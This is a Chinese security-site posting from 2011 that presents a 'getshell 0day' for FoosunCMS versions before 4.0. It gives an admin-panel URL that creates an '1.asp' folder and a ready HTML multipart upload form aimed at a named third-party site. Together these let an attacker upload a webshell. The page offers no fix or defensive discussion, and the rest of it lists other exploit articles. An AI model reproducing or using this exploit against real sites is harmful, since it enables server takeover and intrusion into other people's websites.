首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
风讯 4.0之前所有版本通杀拿SHELL 0day
来源:vfocus.net 作者:vfocus 发布时间:2011-06-30  

自己搞定后台权限

直接:/admin/SelectManageDir/FolderImageList.asp?Type=AddFolder&Path=/UploadFile/1.asp//&CurrPath=/UploadFile&ShowVirtualPath=

会自己跳转文件管理页面,新建1.asp文件夹

 

或者

EXP:

 

<form name="FileForm" method="post" enctype="multipart/form-data" action=http://www.hackqing.com/admin/SelectManageDir/FolderImageList.asp?Type=AddFolder&Path=/UploadFile/1.asp//&CurrPath=/UploadFile&ShowVirtualPath=> <input type="hidden" name="AutoReName" value="2"><br> <input type="hidden" name="Path" value="/UploadFile/1.asp"> <input type="file" size="20" name="File1"> <input type="hidden" name="FilesNum" value="1"> <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 "> <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 "> </form>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·vBseo(百度推广)远程执行漏洞
·InnovaStudio WYSIWYG Editor 3.
·Discuz! X2 SQL注射漏洞,支持Un
·易通企业网站最新0DAY漏洞
·掏帝管理平台安全漏洞
·某企业站系统SQL注入批量拿shell
·Modoer 1.2.5 注入0day
·网奇CWMS企业网站管理系统3.0编
·dedecms 5.6 RSS订阅页面注入漏
·DeDecms xss 通杀0day 附getshel
·Nuclear-Blog v4.0 留言板的 XSS
·极速安康学校网站程序 v3.1.1 co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved